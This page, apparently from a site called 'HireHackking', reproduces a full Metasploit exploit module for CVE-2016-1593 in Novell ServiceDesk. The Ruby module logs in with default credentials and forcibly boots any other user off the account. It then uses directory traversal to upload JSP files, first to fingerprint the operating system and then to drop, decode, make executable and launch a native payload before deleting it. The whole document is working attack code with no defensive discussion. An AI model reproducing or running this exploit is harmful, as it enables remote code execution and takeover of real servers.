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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ServiceDesk Authenticated File Upload',
      'Description'    => %q{
        This module exploits an authenticated arbitrary file upload via directory traversal
        to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
        Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
        Appliance provided by Novell.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-1593' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
          [ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
        ],
      'Platform'    => %w{ linux win },
      'Arch'           => ARCH_X86,
      'DefaultOptions' => { 'WfsDelay' => 15 },
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'Novell ServiceDesk / Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Novell ServiceDesk / Windows',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'Privileged'     => false,  # Privileged on Windows but not on (most) Linux targets
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 30 2016'
    ))

    register_options(
      [
        OptPort.new('RPORT',
          [true, 'The target port', 80]),
        OptString.new('USERNAME',
          [true, 'The username to login as', 'admin']),
        OptString.new('PASSWORD',
          [true, 'Password for the specified username', 'admin']),
        OptString.new('TRAVERSAL_PATH',
          [false, 'Traversal path to tomcat/webapps/LiveTime/'])
      ], self.class)
  end


  def get_version
    res = send_request_cgi({
      'uri'    => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
      'method' => 'GET',
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      }
    })

    if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
      return $1.to_f
    else
      return 999
    end
  end


  def check
    version = get_version
    if version <= 7.1 && version >= 6.5
      return Exploit::CheckCode::Appears
    elsif version > 7.1
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def pick_target
    return target if target.name != 'Automatic'

    print_status("#{peer} - Determining target")

    os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}

    traversal_paths = []
    if datastore['TRAVERSAL_PATH']
      traversal_paths << datastore['TRAVERSAL_PATH']    # add user specified or default Virtual Appliance path
    end

    # add Virtual Appliance path plus the traversal in a Windows or Linux self install
    traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])

    # test each path to determine OS (and correct path)
    traversal_paths.each do |traversal_path|
      jsp_name = upload_jsp(traversal_path, os_finder_payload)

      res = send_request_cgi({
        'uri'    => normalize_uri('LiveTime', jsp_name),
        'method' => 'GET',
        'headers' => {
          'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
        },
        'cookie' => @cookies
      })

      if res && res.code == 200
        if res.body.to_s =~ /Windows/
          @my_target = targets[2]
        else
          # Linux here
          @my_target = targets[1]
        end
        if traversal_path.include? '/srv/tomcat6/webapps/'
          register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
        else
          register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
        end
        return traversal_path
      end
    end

    return nil
  end


  def upload_jsp(traversal_path, jsp)
    jsp_name  = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"

    post_data = Rex::MIME::Message.new
    post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(@upload_url),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      },
      'cookie' => @cookies,
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if not res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
    else
      return jsp_name
    end
  end


  def create_jsp
    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
    payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
    exe = generate_payload_exe(opts)
    base64_exe = Rex::Text.encode_base64(exe)

    native_payload_name = rand_text_alpha(rand(6)+3)
    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

    var_raw     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_buf     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_tmp     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_path    = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_proc2   = Rex::Text.rand_text_alpha(rand(8) + 3)

    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %Q|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |

      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %Q|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod = ''
      cleanup = ''
    end

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
    jsp = jsp.gsub(/\x0d\x0a/, "")
    jsp = jsp.gsub(/\x0a/, "")

    return jsp
  end


  def exploit
    version = get_version

    # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      }
    })

    if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
      login_url = $2
      @cookies = res.get_cookies
      if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
        password_form = $1
      else
        # we shouldn't hit this condition at all, this is default for v7+
        password_form = 'password'
      end
      if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
        username_form = $1
      else
        # we shouldn't hit this condition at all, this is default for v7+
        username_form = 'username'
      end
    else
      fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
    end

    # 2: authenticate and get the import_url
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(login_url),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      },
      'cookie' => @cookies,
      'vars_post' => {
        username_form => datastore['USERNAME'],
        password_form => datastore['PASSWORD'],
        'ButtonLogin' => 'Login'
      }
    })

    if res && res.code == 200 &&
      (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
      res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/)   # v6.5
      import_url = $1
    else
      # hmm either the password is wrong or someone else is using "our" account.. .
      # let's try to boot him out
      if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
        res.body.to_s =~ /This account is in use on another system/

        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(login_url),
          'headers' => {
            'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
          },
          'cookie' => @cookies,
          'vars_post' => {
            username_form => datastore['USERNAME'],
            password_form => datastore['PASSWORD'],
            'ButtonLoginOverride' => 'Login'
          }
        })
        if res && res.code == 200 &&
          (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
          res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/)   # v6.5
          import_url = $1
        else
          fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
        end
      else
        fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
      end
    end

    # 3: get the upload_url
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(import_url),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      },
      'cookie' => @cookies,
      'vars_post' => {
        'ButtonImport' => 'Import'
      }
    })

    if res && res.code == 200 &&
      (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ ||                         # v7 and above
      res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
      @upload_url = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
    end

    if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
      @upload_form = $1
    else
      # go with the default for 7.1.0, might not work with other versions...
      @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
    end

    # 4: target selection
    @my_target = nil
    # pick_target returns the traversal_path and sets @my_target
    traversal_path = pick_target
    if @my_target.nil?
      fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
    else
      print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
    end

    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end

    # 5: generate the JSP with the payload
    jsp = create_jsp
    print_status("#{peer} - Uploading payload...")
    jsp_name = upload_jsp(traversal_path, jsp)
    if traversal_path.include? '/srv/tomcat6/webapps/'
      register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
    else
      register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
    end

    # 6: pwn it!
    print_status("#{peer} - Requesting #{jsp_name}")
    send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})

    handler
  end
end